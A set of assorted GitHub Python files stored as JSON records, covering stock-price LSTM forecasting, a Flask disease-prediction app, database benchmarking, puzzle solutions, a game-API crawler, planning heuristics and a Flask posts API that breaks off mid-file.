+{"seq_id":"71645837868","text":"import matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\nimport yfinance as yf\nimport tensorflow as tf\nimport math\nfrom sklearn.preprocessing import MinMaxScaler\nimport time\nfrom keras_tuner.tuners import RandomSearch\nfrom keras_tuner.engine.hyperparameters import HyperParameters as hp\nstart_time = time.time()\n\nfiles = [\"CPI.csv\", \"FEDFUNDS.csv\", \"SavingsRate.csv\", \"UNRATE.csv\"]\n\ndf_stock = yf.Ticker(\"^GSPC\").history(start=\"1950-01-01\", end=\"2023-01-01\", interval=\"1d\").reset_index()[\n    [\"Date\", \"Open\", \"Close\", \"High\", \"Low\", \"Volume\"]]\n\n\n\ndates_for_files = []\nfor i in df_stock[\"Date\"]:\n    i = str(i)\n    i = i[:7]\n    dates_for_files.append(i)\n\ndata_dict = {}\ndates = []\nvalue_list = []\n\nfor file in files:\n    final_value_list = []\n    df = pd.read_csv(file)\n    temporary_dict = df.to_dict()\n    for values in temporary_dict.values():\n        for i in values.values():\n            if type(i) == str:\n                dates.append(i[:7])\n            else:\n                value_list.append(i)\n    for i in range(0, len(dates)):\n        data_dict[dates[i]] = value_list[i]\n\n    for i in dates_for_files:\n        final_value_list.append(data_dict[i])\n    df_stock[file] = final_value_list\n#print(df_stock)\n\n#print(df_stock)\ndf_stock = df_stock.drop(\"Date\", axis=1)\n\nx_data = df_stock.values\ny_data = df_stock[\"Close\"].values\n\nnumber_mis_on_eespool = x_data.shape[1]\nprint(x_data.shape)\nprint(y_data.shape)\ny_data = np.reshape(y_data, (-1, 1))\n#\n#x_data = np.reshape(x_data, (-1, 1))\n\nscaler = MinMaxScaler(feature_range=(0, 1))\nscaled_x_data = scaler.fit_transform(x_data)\nscaled_y_data = scaler.fit_transform(y_data)\nprint(x_data.shape)\nprint(y_data.shape)\n#x_data = np.reshape(x_data, (x_data.shape[0], x_data.shape[1], 1))\nprint(x_data.shape)\n#train_data_len = math.ceil(len(scaled_x_data) * 0.8)\n#test_data_len = math.ceil(len(scaled_y_data) * 0.2)\n\n\nx_train = []\ny_train = []\nfor i in range(len(x_data)-2):\n    x_train.append(scaled_x_data[i:i+2])\n    y_train.append(scaled_y_data[i+2])\nprint(x_train)\nprint(y_train)\n\n\n\n#print(x_train)\n#print(y_train)\n\nx_train = np.array(x_train)\nprint(x_train.shape)\ny_train = np.array(y_train)\nx_train = x_train.reshape(x_train.shape[0], 2, x_train.shape[2])\nprint(x_train.shape)\nprint(y_train.shape)\n\n#hyperparameter search\ndef model_builder(hp):\n    model = tf.keras.Sequential()\n    num_layers = hp.Int(\"num_layers\", min_value=1, max_value=100, step=1)\n    model.add(tf.keras.layers.LSTM(hp.Int(\"tegelikult_esimene\", min_value=5, max_value=150, step=5), input_shape=(x_train.shape[1], x_train.shape[2]), return_sequences=True))\n    for i in range(num_layers):\n\n        model.add(tf.keras.layers.LSTM(hp.Int(\"units_\" + str(i), min_value=5, max_value=150, step=5), return_sequences=True))\n\n\n    model.add(tf.keras.layers.Dense(hp.Int(\"units_\" + str(num_layers), min_value=5, max_value=100, step=5)))\n    model.add(tf.keras.layers.Dense(units=1))\n    model.compile(tf.keras.optimizers.Adam(hp.Choice(\"learning_rate\", values=[0.1, 0.001, 0.0001, 0.00001])), loss=\"mse\")\n    return model\n\ntuner = RandomSearch(\n    model_builder,\n    objective=\"val_loss\",\n    max_trials=1005,\n    executions_per_trial=1,\n    directory='C:/Users/Kasutaja/PycharmProjects/Hyperparameetrid/',\n    project_name='C:/Users/Kasutaja/PycharmProjects/HyperparameetridLogs/JargmineAjasmm')\n\n\ntuner.search(x_train, y_train, epochs=70, validation_split=0.1, batch_size=128)\n\n#get best hyperparameters\n\nbest_hp = tuner.get_best_hyperparameters(num_trials=1)[0]\n#build and compile the best model\n\nbest_model = tuner.hypermodel.build(best_hp)\n\n\nprint(best_model.summary())\n\npredictions = []\nactual_values = []\n\n#walk forward validation\nfor i in range(len(x_train)-40):\n    #preparing training data\n    x_train_i = x_train[i:i+40]\n    y_train_i = y_train[i:i+40]\n\n    #print(x_train_i.shape)\n    #print(y_train_i.shape)\n    #preparing testing data\n    x_test = x_train[i+40].reshape(1, 2, number_mis_on_eespool)\n\n\n    best_model.fit(x_train_i, y_train_i, epochs=100, verbose = 0)\n    print(i)\n    pred = best_model.predict(x_test)\n    pred = pred.reshape((-1, 1))\n    pred = scaler.inverse_transform(pred)\n    predictions.append(pred[0][0]) #0 ja 0 sest prediction on array ja niimoodi saame katte ennustuse\n    actual_values.append(df_stock[\"Close\"][i+40])\n    #print(x_test)\n\n\npredictions = np.array(predictions)\nactual_values = np.array(actual_values)\n\n#mudeli mõõdikud\nmse = np.mean((predictions - actual_values) ** 2)\nrmse = np.sqrt(mse)\nmae = np.mean(np.abs(predictions - actual_values))\nmape = np.mean(np.abs((actual_values - predictions) / actual_values)) * 100\n\nprint(\"Mean Squared Error (MSE):\", mse)\nprint(\"Root Mean Squared Error (RMSE):\", rmse)\nprint(\"Mean Absolute Error (MAE):\", mae)\nprint(\"Mean Absolute Percentage Error (MAPE):\", mape)\n\nend_time = time.time()\nall_time = end_time - start_time\nprint(\"Programmi jooksmise aeg: \" + str(all_time))\n#predictions = np.array(predictions)\n#actual_values = np.array(actual_values)\n# Plot the predictions and actual values\nplt.plot(actual_values, label=\"Actual\")\nplt.plot(predictions, label=\"Predicted\")\nplt.xlabel(\"Time Step\")\nplt.ylabel(\"Close Price\")\nplt.legend()\nplt.show()\n\n\n\n\n","repo_name":"ProgrammerBro1234/UT","sub_path":"LSTM.py","file_name":"LSTM.py","file_ext":"py","file_size_in_byte":5171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"9000872788","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\n#Important Modules\nfrom flask import Flask,render_template, url_for ,flash , redirect\nimport pickle\nfrom flask import request\nimport numpy as np\n\n\n\n\nimport os\nfrom flask import send_from_directory\n\n\n#from this import SQLAlchemy\napp=Flask(__name__,template_folder='template')\n\n\n\n\n@app.route(\"/\")\n\n@app.route(\"/home\")\ndef home():\n    return render_template(\"home.html\")\n \n\n\n@app.route(\"/about\")\ndef about():\n    return render_template(\"about.html\")\n\n\n@app.route(\"/cancer\")\ndef cancer():\n    return render_template(\"cancer.html\")\n\n\n@app.route(\"/diabetes\")\ndef diabetes():\n    #if form.validate_on_submit():\n    return render_template(\"diabetes.html\")\n\n@app.route(\"/heart\")\ndef heart():\n    return render_template(\"heart.html\")\n\n\n@app.route(\"/liver\")\ndef liver():\n    #if form.validate_on_submit():\n    return render_template(\"liver.html\")\n\n@app.route(\"/kidney\")\ndef kidney():\n    #if form.validate_on_submit():\n    return render_template(\"kidney.html\")\n\n\n\ndef ValuePredictor(to_predict_list, size):\n    to_predict = np.array(to_predict_list).reshape(1,size)\n    if(size==8):#Diabetes\n        loaded_model = pickle.load(open(\"Diabetes_model.pkl\",\"rb\"))\n        result = loaded_model.predict(to_predict)\n    elif(size==30):#Cancer\n        loaded_model = pickle.load(open(\"Cancer_model.pkl\",\"rb\"))\n        result = loaded_model.predict(to_predict)\n    elif(size==18):#Kidney\n        loaded_model = pickle.load(open(\"kidney_model.pkl\",\"rb\"))\n        result = loaded_model.predict(to_predict)\n    elif(size==10):#Liver\n        loaded_model = pickle.load(open(\"Liver_model.pkl\",\"rb\"))\n        result = loaded_model.predict(to_predict)\n    elif(size==13):#Heart\n        loaded_model = pickle.load(open(\"Heart_model.pkl\",\"rb\"))\n        result =loaded_model.predict(to_predict)\n    return result[0]\n\n@app.route('/result',methods = [\"POST\"])\ndef result():\n    if request.method == 'POST':\n        to_predict_list = request.form.to_dict()\n        to_predict_list=list(to_predict_list.values())\n        to_predict_list = list(map(float, to_predict_list))\n        \n        if(len(to_predict_list)==30):#Cancer\n            result = ValuePredictor(to_predict_list,30)\n            if(int(result)==1):\n                prediction='Benign tumor has been detected in the patient.'\n            else:\n                prediction='Malignant tumor has been detected in the patient.'\n                \n        elif(len(to_predict_list)==8):#Daiabtes\n            result = ValuePredictor(to_predict_list,8)\n            if(int(result)==1):\n                prediction='The patient is Diabetic.'\n            else:\n                prediction='The patient is Non-Diabetic.'\n                \n        elif(len(to_predict_list)==18):#kidney\n            result = ValuePredictor(to_predict_list,18)\n            if(int(result)==1):\n                prediction='Chronic kidney disease has been detected in the patient.'\n            else:\n                prediction='No chronic kidney disease has been detected in the patient.'\n                \n        elif(len(to_predict_list)==13):#heart\n            result = ValuePredictor(to_predict_list,13)\n            if(int(result)==1):\n                prediction=\"The patient's heart seems to be healthy.\"\n            else:\n                prediction=\"The patient's heart does not seems to be healthy.\"\n                \n        elif(len(to_predict_list)==10):#liver\n            result = ValuePredictor(to_predict_list,10)\n            if(int(result)==1):\n                prediction=\"The patient's liver seems to be healthy.\"\n            else:\n                prediction=\"The patient's liver does not seems to be healthy.\"\n\n\n\n    return(render_template(\"result.html\", prediction=prediction))\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n\n","repo_name":"kdalal95/Medscape-Health-App","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3790,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"}
+{"seq_id":"30189416369","text":"from random import randint\nfrom time import time\n\nfrom sqlalchemy import Engine, create_engine, select\nfrom sqlalchemy.orm import Session\n\nfrom models.data import (Account, AccountBalance, Base, Protocol,\n                         ProtocolToken, Token, TokenPrice, Tvl)\nfrom utils import timeitit\nfrom sql.clickhouse.db_init import create_tables_sql\n\nimport clickhouse_connect\nfrom clickhouse_connect.driver.client import Client\n\n\nclient = clickhouse_connect.get_client()\n\nTOKEN_NUMBER = 1000\nACCOUNT_NUMBER = 1000000\n\n\ndef check_content(client: Client) -> bool:\n    result = client.query(\"\"\"SELECT * FROM (\n        SELECT * \n        FROM INFORMATION_SCHEMA.TABLES\n\n        ) z_q WHERE table_name = 'account'\"\"\")\n    if result.row_count:\n        return True\n    return False\n\n\ndef init_db(client: Client):\n    for el in create_tables_sql:\n        client.command(el)\n    add_protocols_and_tokens(client)\n    add_accounts_and_balances(client)\n\n\n@timeitit\ndef add_protocols_and_tokens(client: Client) -> None:\n    client.insert(\"protocol\", [[1, \"Uniswapv3\"]])\n\n    current_time = int(time())\n    halfhour_time = current_time - 60 * 30\n    hourhalf_time = current_time - 60 * 90\n    twoday_time = current_time - 60 * 60 * 48\n\n    token_price_id = 0\n\n    for i in range(TOKEN_NUMBER):\n        protocol_token = [i, i, 1]\n        client.insert(\"protocol_token\", [protocol_token])\n\n        token = [i, f\"{i}\", f\"{i}\", f\"{i}\", 10]\n        client.insert(\"token\", [token])\n\n        # current time\n        add_history_data(client, token_price_id, i, current_time)\n        token_price_id += 1\n        # half an hour ago\n        add_history_data(client, token_price_id, i, halfhour_time)\n        token_price_id += 1\n        # hour and half ago\n        add_history_data(client, token_price_id, i, hourhalf_time)\n        token_price_id += 1\n        # two days ago\n        add_history_data(client, token_price_id, i, twoday_time)\n        token_price_id += 1\n\n\ndef add_history_data(client: Client, token_price_id: int, protocol_token_id: int, time_value: int):\n    token_price = [token_price_id, 10, protocol_token_id, time_value]\n    client.insert(\"token_price\", [token_price])\n    tvl = [token_price_id, protocol_token_id, 10, 100, time_value, 0]\n    client.insert(\"tvl\", [tvl])\n\n\n@timeitit\ndef add_accounts_and_balances(client: Client) -> None:\n    balances_count = 20\n    for i in range(ACCOUNT_NUMBER):\n        account = [i, f\"{i}\"]\n        client.insert(\"account\", [account])\n        for j in range(balances_count):\n            account_balance = [i*balances_count + j, randint(1, TOKEN_NUMBER), 10, i, 0]\n            client.insert(\"account_balance\", [account_balance])\n","repo_name":"kostorub/db-perfomance-test","sub_path":"src/db_clickhouse.py","file_name":"db_clickhouse.py","file_ext":"py","file_size_in_byte":2656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"19989783626","text":"with open(\"./Day 1/D1.txt\") as f:\r\n  lines = str(f.read())\r\n\r\nrawInventories = lines.split(\"\\n\\n\")\r\ninventories = []\r\n\r\nfor i in rawInventories:\r\n  currentInventory = []\r\n\r\n  for x in i.splitlines():\r\n    currentInventory.append(int(x))\r\n\r\n  inventoryCalories = sum(currentInventory)\r\n  inventories.append(inventoryCalories)\r\n\r\n# print(max(inventories))\r\n\r\n\r\n\r\n# print(sorted(inventories))\r\n\r\nanswer = int(0)\r\n\r\nfor i in range(3):\r\n  # print(max(inventories))\r\n  answer = answer + (max(inventories))\r\n  inventories.remove(max(inventories))\r\n\r\nprint(answer)","repo_name":"Dragoncode333/Advent-Of-Code","sub_path":"Advent Of Code/Day 1/1-P2.py","file_name":"1-P2.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"34325159403","text":"import logging\n\nfrom riotwatcher import LolWatcher\n\nlogger = logging.getLogger(__name__)\n\n\nclass MatchIdCrawler:\n    \"\"\"An automatic crawler for Riot MatchIDs.\n       The crawler runs ``riotwatcher.LolWatcher`` under the hood.\n\n       Attributes\n       ----------\n       api_key : str\n           Your Riot API key. You must have a valid API key to access\n           information through the Riot API. Defaults to None.\n       region : str\n           The region of interest, defaults to None.\n       tier : str\n           Tier level of the matches, defaults to None.\n       queue : str\n           The queue type of the matches, defaults to None.\n\n       Notes\n       -----\n           The available options for ``region`` are\n\n           >>> [\"br1\", \"eun1\", \"euw1\", \"jp1\", \"kr\", \"la1\", \"la2\",\n           ...  \"na1\", \"oc1\", \"ru\", \"tr1\"]\n\n           The available options for ``tier`` are\n\n           >>> [\"CHALLENGER\", \"GRANDMASTER\", \"MASTER\",\n           ...  \"DIAMOND\", \"EMERALD\", \"PLATINUM\", \"GOLD\", \"SILVER\",\n           ...  \"BRONZE\", \"IRON\"]\n\n           The available options for ``queue`` are\n\n           >>> [\"RANKED_SOLO_5x5\", \"RANKED_FLEX_SR\",\n           ...  \"RANKED_FLEX_TT\"]\n       \"\"\"\n\n    region_options_ = [\"br1\",\n                       \"eun1\", \"euw1\",\n                       \"jp1\", \"kr\",\n                       \"la1\", \"la2\",\n                       \"na1\",\n                       \"oc1\",\n                       \"ru\",\n                       \"tr1\"]\n\n    tier_options_ = [\"CHALLENGER\",\n                     \"GRANDMASTER\",\n                     \"MASTER\",\n                     \"DIAMOND\",\n                     \"EMERALD\",\n                     \"PLATINUM\",\n                     \"GOLD\",\n                     \"SILVER\",\n                     \"BRONZE\",\n                     \"IRON\"]\n\n    queue_options_ = [\"RANKED_SOLO_5x5\",\n                      \"RANKED_FLEX_SR\",\n                      \"RANKED_FLEX_TT\"]\n\n    def __init__(self, api_key: str, region: str = \"euw1\", tier: str = \"CHALLENGER\", queue: str = \"RANKED_SOLO_5x5\"):\n        # Error checking\n        # api_key\n        if type(api_key) != str:\n            raise TypeError(\"Invalid API key.\")\n        else:\n            self.api_key = api_key\n        # region\n        if type(region) != str:\n            raise TypeError(\"Invalid type for region.\")\n        elif region not in self.region_options_:\n            raise ValueError(\"Invalid value for region. Must be one of \" +\n                             f\"{self.region_options_} (case sensitive).\")\n        else:\n            self.region = region\n        # tier\n        if type(tier) != str:\n            raise TypeError(\"Invalid type for tier.\")\n        elif tier not in self.tier_options_:\n            raise ValueError(\"Invalid value for tier. Must be one of \" +\n                             f\"{self.tier_options_} (case sensitive).\")\n        else:\n            self.tier = tier\n        # queue\n        if type(queue) != str:\n            raise TypeError(\"Invalid type for queue.\")\n        elif queue not in self.queue_options_:\n            raise ValueError(\"Invalid value for queue. Must be one of \" +\n                             f\"{self.queue_options_} (case sensitive).\")\n        else:\n            self.queue = queue\n\n        self.watcher = LolWatcher(api_key=self.api_key)\n\n    def getMatchIDs(self, n: int, match_per_id: int = 15,\n                    cutoff: int = 16, excludingIDs: set = None) -> set:\n        \"\"\"\n        n : int\n            Number of matchIDs to be returned. If not enough matches can be found,\n            it logs a warning and return the (smaller than wanted) set of matchIDs\n        match_per_id : int\n            The number of matches to be crawled for each unique\n            account. Recommend to be a minimum of 15. Will handle\n            the case if a player have played for less than the\n            specified number of matches. Defaults to 15.\n        cutoff : int\n            The minimum number of minutes required for a match to\n            be counted toward the final list. Defaults to 16.\n        excludingIDs : set\n            The set of matchIDs that should not be included in the output.\n            Usually used for successive runs, where already downloaded matches\n            should not be processed twice.\n            A list will also work, but is much slower, so a set is preferred\n        :return: set of matchIDs (str)\n        \"\"\"\n        # error checking\n        if n <= 0:\n            raise ValueError(\"Invalid number of matched to be crawled.\")\n        if match_per_id <= 0:\n            raise ValueError(\"Invalid number of match per account.\")\n        if cutoff < 0:\n            raise ValueError(\"Invalid cutoff.\")\n        # variable definition\n        if not excludingIDs:\n            exclude_IDs = False\n        else:\n            exclude_IDs = True\n\n        # Fetch a set of leagueIds\n        # For highest tiers - LeagueLists\n        if self.tier in [\"CHALLENGER\", \"GRANDMASTER\", \"MASTER\"]:\n            # For challengers\n            if self.tier == \"CHALLENGER\":\n                league_list = self.watcher.league \\\n                    .challenger_by_queue(self.region,\n                                         self.queue)\n                # For grandmasters\n            elif self.tier == \"GRANDMASTER\":\n                league_list = self.watcher.league \\\n                    .grandmaster_by_queue(self.region,\n                                          self.queue)\n            # For masters\n            else:\n                league_list = self.watcher.league \\\n                    .masters_by_queue(self.region,\n                                      self.queue)\n            leagueIds = {league_list[\"leagueId\"]}\n        # For all others - LeagueEntries\n        else:\n            league_entries_set = self.watcher.league \\\n                .entries(self.region, self.queue,\n                         self.tier, \"I\")\n            leagueIds = set([entry[\"leagueId\"] for entry in league_entries_set])\n\n        visited_matchIds = set()\n        # Iterate over the leagueIds to fetch leagueEntries\n        for leagueId in leagueIds:\n            entries = self.watcher.league.by_id(self.region, leagueId)['entries']\n            # Then fetch summonerIds for each LeagueEntry\n            for entry in entries:\n                summonerId = entry['summonerId']\n                # Then fetch puuid for that summonerIds\n                puuid = self.watcher.summoner.by_id(self.region, summonerId)[\"puuid\"]\n                # Then fetch a list of matchIds for that puuid\n                match_list = self.watcher.match.matchlist_by_puuid(region=self.region, puuid=puuid, count=100, queue=420)\n                for i in range(min(match_per_id, len(match_list))):\n                    matchId = match_list[i]\n                    if matchId in visited_matchIds:\n                        continue\n                    if exclude_IDs and matchId in excludingIDs:\n                        continue\n                    visited_matchIds.add(matchId)\n                    if len(visited_matchIds) >= n:\n                        break\n                if len(visited_matchIds) >= n:\n                    break\n            if len(visited_matchIds) >= n:\n                break\n        return visited_matchIds\n","repo_name":"MoritzPalm/LeagueOfLegendsWinPrediction","sub_path":"src/crawlers/MatchIdCrawler.py","file_name":"MatchIdCrawler.py","file_ext":"py","file_size_in_byte":7213,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"28942555547","text":"#!/usr/bin/env python3\n\n# Import packages at beginning of script.\n# matplotlib and seaborn needed for Anscombe's quartet example\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n# Define the four functions.\n\n# 1. prints \"Hello world!\" text to the screen when the function is called.\ndef greeting():\n    print(\"Hello world!\")\n\n# 2. Calculate pi\n\n\n\n# 3. Square function\n# adapted from https://hbctraining.github.io/Intro-to-R/lessons/03_introR-functions-and-arguments.html#user-defined-functions\n# and https://www.r-bloggers.com/how-to-write-and-debug-an-r-function/\n\n# function returns the squared value of a integer, assuming an integer is passed to it\ndef square_it(x):\n    square = x*x\n    return square\n\n# 4. Anscombe's quartet\n# https://en.wikipedia.org/wiki/Anscombe%27s_quartet\n# code from https://seaborn.pydata.org/examples/anscombes_quartet.html\ndef anscombe():\n    # set seaborn \"ticks\" theme\n    sns.set(style=\"ticks\")\n\n    # Load the data for Anscombe's quartet from the seaborn package\n    anscombes_quartet = sns.load_dataset(\"anscombe\")\n\n    # Show the results of a linear regression within each dataset\n    # will create 4 plots, one for each of the datasets\n    # reference https://seaborn.pydata.org/generated/seaborn.lmplot.html for descriptions of what these parameters do\n    sns.lmplot(x=\"x\", y=\"y\", col=\"dataset\", hue=\"dataset\", data=anscombes_quartet,\n           col_wrap=2, ci=None, palette=\"colorblind\", height=4,\n           scatter_kws={\"s\": 50, \"alpha\": 1})\n    # save the plots to a file\n    plt.savefig(\"anscombe.png\")\n    # if you'd prefer to view the figure instead of saving it to a file, then uncomment and run the next line:\n    #plt.show()\n\n# Code that doesn't belong in functions goes here\n# Call each of the functions\ndef main(): \n    greeting()\n    # will need to call calculate pi function here once it is written\n    print( square_it(5) )\n    anscombe()\n\n# see https://docs.python.org/3.7/library/__main__.html\nif __name__ == '__main__':\n    main()\n","repo_name":"IQSS/datafest","sub_path":"DataFest-2020/Versioning_Data_Scripts/data/example_python_2.py","file_name":"example_python_2.py","file_ext":"py","file_size_in_byte":1996,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"37"}
+{"seq_id":"10741614669","text":"\"\"\"\n4.寻找两个正序数组的中位数\n给定两个大小分别为 m 和 n 的正序（从小到大）数组nums1 和nums2。请你找出并返回这两个正序数组的 中位数 。\n\n示例 1：\n输入：nums1 = [1,3], nums2 = [2]\n输出：2.00000\n解释：合并数组 = [1,2,3] ，中位数 2\n\n示例 2：\n输入：nums1 = [1,2], nums2 = [3,4]\n输出：2.50000\n解释：合并数组 = [1,2,3,4] ，中位数 (2 + 3) / 2 = 2.5\n\n示例 3：\n输入：nums1 = [0,0], nums2 = [0,0]\n输出：0.00000\n\n示例 4：\n输入：nums1 = [], nums2 = [1]\n输出：1.00000\n\n示例 5：\n输入：nums1 = [2], nums2 = []\n输出：2.00000\n\n提示：\nnums1.length == m\nnums2.length == n\n0 <= m <= 1000\n0 <= n <= 1000\n1 <= m + n <= 2000\n-106 <= nums1[i], nums2[i] <= 106\n\n进阶：你能设计一个时间复杂度为 O(log (m+n)) 的算法解决此问题吗？\n\n来源：力扣（LeetCode）\n链接：https://leetcode-cn.com/problems/median-of-two-sorted-arrays\n著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。\n\"\"\"\nfrom typing import List\n\n\nclass Solution:\n    def findMedianSortedArrays(self, nums1: List[int], nums2: List[int]) -> float:\n        m, n = len(nums1), len(nums2)\n\n        def search(k):\n            index1, index2 = 0, 0\n            while True:\n                # 特殊情况\n                if index1 == m:\n                    return nums2[index2 + k - 1]\n                if index2 == n:\n                    return nums1[index1 + k - 1]\n                if k == 1:\n                    return min(nums1[index1], nums2[index2])\n\n                # 正常情况\n                newIndex1 = min(index1 + k // 2 - 1, m - 1)\n                newIndex2 = min(index2 + k // 2 - 1, n - 1)\n                pivot1, pivot2 = nums1[newIndex1], nums2[newIndex2]\n                if pivot1 <= pivot2:\n                    k -= newIndex1 - index1 + 1\n                    index1 = newIndex1 + 1\n                else:\n                    k -= newIndex2 - index2 + 1\n                    index2 = newIndex2 + 1\n\n        if (m + n) % 2 == 0:\n            return (search((m + n) // 2) + search((m + n) // 2 + 1)) / 2\n        else:\n            return search((m + n) // 2 + 1)\n\n\nif __name__ == '__main__':\n    res = Solution().findMedianSortedArrays([1, 3, 4, 6, 10], [])\n    print(res)\n","repo_name":"GeorgeDaiz/my_python","sub_path":"Leetcode/Sorted-Search/4.寻找两个正序数组的中位数.py","file_name":"4.寻找两个正序数组的中位数.py","file_ext":"py","file_size_in_byte":2316,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"3112112926","text":"import unittest\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.service import Service\nimport urllib3\nfrom selenium.webdriver.support.wait import WebDriverWait\n\n\nclass WebDriverSetup(unittest.TestCase):\n    def setUp(self):\n        print(\"Test başladı...\")\n        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n        service = Service(\"drivers/chromedriver.exe\")\n        self.driver = webdriver.Chrome(service=service)\n        self.driver.delete_all_cookies()\n        self.driver.set_page_load_timeout(30)\n        self.driver.implicitly_wait(30)\n        WebDriverWait(self.driver, 30)\n        self.driver.maximize_window()\n\n\n    def tearDown(self):\n        print(\"Test sonlandı...\")\n        if self.driver is not None:\n            self.driver.close()\n            self.driver.quit()","repo_name":"ibrahimF01/NetflixWebsiteTesting_Python","sub_path":"src/TestBase/WebDriverSetup.py","file_name":"WebDriverSetup.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"}
+{"seq_id":"21027671702","text":"from state import State\nimport sys\n\ndef applicable(state, actions):\n    ''' Return a list of applicable actions in a given `state`. '''\n    app = list()\n    for act in actions:\n        if State(state).intersect(act.precond) == act.precond:\n            app.append(act)\n    return app\n\n# def sum(dic, preconds):\n#     sum = 0\n\n#     for cond in preconds:\n#         val = dic.get(cond)\n#         if (val == None):\n#             return Integer.MAX_VALUE\n#         sum += val\n\n#     return sum\n\ndef successorRelaxed(state, action):\n    ''' Return the sucessor state generated by executing `action` in `state`. '''\n    return State(action.pos_effect).union(state)\n\ndef h_naive(state=None, planning=None, goal=None):\n    return 0\n\ndef h_add(state, planning, goal):\n    '''\n    Return heuristic h_add value for `state`.\n\n    OBSERVATION: It receives `planning` object in order\n    to access the applicable actions and problem information.\n    '''\n    state_prepositions = dict() \n    actions = planning.actions\n    aux_state = state\n    for preposition in aux_state:\n        state_prepositions[preposition] = 0\n    change = True\n    while change:\n        change = False\n        actionsApplicable = applicable(aux_state, actions)\n        for action in actionsApplicable:\n            aux_state = successorRelaxed(aux_state, action)\n            for effect in action.pos_effect:\n                prev = state_prepositions.get(effect,sys.maxsize)\n                state_prepositions[effect] = min(prev,(1+sum(state_prepositions.get(pre, sys.maxsize) for pre in action.precond)))\n                if prev != state_prepositions[effect]:\n                    change = True\n    return sum(state_prepositions.get(i,sys.maxsize) for i in goal)\n\n\ndef h_max(state, planning, goal=None):\n    '''\n    Return heuristic h_max value for `state`.\n\n    OBSERVATION: It receives `planning` object in order\n    to access the applicable actions and problem information.\n    '''\n    state_prepositions = dict() \n    actions = planning.actions\n    aux_state = state\n    for preposition in aux_state:\n        state_prepositions[preposition] = 0\n    change = True\n    while change:\n        change = False\n        actionsApplicable = applicable(aux_state, actions)\n        for action in actionsApplicable:\n            aux_state = successorRelaxed(aux_state, action)\n            for effect in action.pos_effect:\n                prev = state_prepositions.get(effect,sys.maxsize)\n                state_prepositions[effect] = min(prev,(1+sum(state_prepositions.get(pre, sys.maxsize) for pre in action.precond)))\n                if prev != state_prepositions[effect]:\n                    change = True\n    h_max = 0  \n    for key in state_prepositions:\n        h_max = max(h_max, state_prepositions.get(key))\n    return h_max\n\n\ndef h_ff(state, planning, goal):\n    '''\n    Return heuristic h_ff value for `state`.\n\n    OBSERVATION: It receives `planning` object in order\n    to access the applicable actions and problem information.\n    '''\n    graphplan = dict()\n    actions = planning.actions\n    aux_state = state\n    isGoal = False\n    if aux_state.intersect(goal) == goal:\n        return 0\n    level = 0\n    graphplan[(level,'state')] = aux_state\n    while not isGoal:\n        actionsApplicable = applicable(aux_state,actions)\n        level += 1\n        for a in actionsApplicable:\n            aux_state = successorRelaxed(aux_state,a)\n            if aux_state.intersect(goal) == goal:\n                isGoal = True\n                break\n            graphplan[(level,'state')] = aux_state\n            graphplan[(level,'action')] = actionsApplicable\n    thisLevelGoals = set()\n    thisLevelGoals = thisLevelGoals.union(goal)\n    relaxedActions = set()\n    while (level > 0):\n        prevLevelGoals = set()\n        for tg in thisLevelGoals:\n            if tg in graphplan[level-1,'state']:\n                prevLevelGoals.add(tg)\n            else:\n                for a in graphplan[level,'action']:\n                    if tg in a.pos_effect:\n                        prevLevelGoals = prevLevelGoals.union(a.precond)\n                        relaxedActions.add(a)\n                        break \n        level -= 1\n        thisLevelGoals = prevLevelGoals.copy()\n    return len(relaxedActions)\n","repo_name":"alvesisaque/EP2","sub_path":"heuristics.py","file_name":"heuristics.py","file_ext":"py","file_size_in_byte":4247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"40582640154","text":"from paco import cftemplates\nfrom paco.application.res_engine import ResourceEngine\n\n\nclass ElastiCacheRedisResourceEngine(ResourceEngine):\n\n    def init_resource(self):\n        # ElastiCache Redis CloudFormation\n        self.stack_group.add_new_stack(\n            self.aws_region,\n            self.resource,\n            cftemplates.ElastiCache,\n            stack_tags=self.stack_tags,\n            extra_context={\n                'env_ctx': self.env_ctx\n            }\n        )\n","repo_name":"waterbear-cloud/paco","sub_path":"src/paco/application/reseng_elasticacheredis.py","file_name":"reseng_elasticacheredis.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"37"}
+{"seq_id":"17966637247","text":"from flask import Flask, jsonify, request\nfrom models.post_model import Post, post_schema, posts_schema\nfrom app import app, db\n\n@app.route('/posts')\ndef posts_index():\n    posts = Post.query.all()\n    print(posts)\n    pschema = posts_schema.dump(posts)\n    print(pschema)\n    return jsonify(pschema)\n\n@app.route('/posts/show/<int:id>')\ndef posts_show(id):\n    try:\n        post = Post.query.get(id)\n        return post_schema.dump(post)\n    except Exception as e:\n        return {'error': str(e)}\n\n@app.route('/posts/delete/<int:id>', methods=['DELETE'])\ndef posts_delete(id):\n    try:\n        post = Post.query.get(id)\n        if (post is None):\n            raise Exception(f'Cound not found post with id={id}')\n        \n        db.session.delete(post)\n        db.session.commit()\n        return {'message': 'Success'}\n    except Exception as e:\n        return {\n            'message': str(e)\n        }\n\n@app.route('/posts/update/<int:id>', methods=['PUT'])\ndef posts_update(id):\n    try:\n        data = request.get_json()\n        title = data['title']\n        content = data['content']\n\n        print(title)\n        print(content)\n\n        if (title is None and 